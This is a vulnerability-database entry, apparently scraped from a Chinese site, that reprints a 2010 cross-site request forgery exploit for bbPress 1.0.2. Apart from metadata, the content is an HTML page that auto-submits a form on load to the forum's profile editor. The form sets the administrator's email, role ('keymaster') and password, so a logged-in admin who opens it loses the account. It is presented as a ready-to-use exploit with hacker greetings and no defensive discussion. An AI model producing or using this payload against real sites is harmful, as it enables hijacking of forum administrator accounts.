bbPress 1.0.2 cross site request forgery

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1050527 漏洞类型
发布时间 2010-06-30 更新时间 2010-06-30
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2010060125
|漏洞详情
漏洞细节尚未披露
|漏洞EXP



: # Software      : bbPress v 1.0.2    CSRF
: # site          : www.bbpress.org  
: # date          : 29/6/2010                                
: # Author        : saudi0hacker 
: # Date          : May 25, 2010   
: # Type : CSRF 
: # Greetz to     : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com


<html>
 <body onload="document.forms['Login'].submit();">
<form method="post" name = "Login" action="http://localhost/bb/profile.php?id=1&tab=edit">

<select type="hidden" name="display_name" id="display_name">
<option type="hidden" id="display_displayname" value="admin">admin</option>
<input type="hidden" name="user_email" id="user_email"  value="admin@sss.com" />
<input  id="_wpnonce" name="_wpnonce" value="98dfb69b68" /><input type="hidden" name="_wp_http_referer" value="/bb/profile.php?id=1&tab=edit" />
<select type="hidden" id="admininfo_role" name="role">
<option value="keymaster" selected="selected">Key Master</option>
<input name="pass1" type="hidden" value= "admin1234" id="pass1" autocomplete="off" />
<input name="pass2" type="hidden" value= "admin1234" id="pass2" autocomplete="off" />
<input type="submit" name="Submit" value="save" />

 		 	   		  
_________________________________________________________________
Hotmail: Free, trusted and rich email service.
https://signup.live.com/signup.aspx?id=60969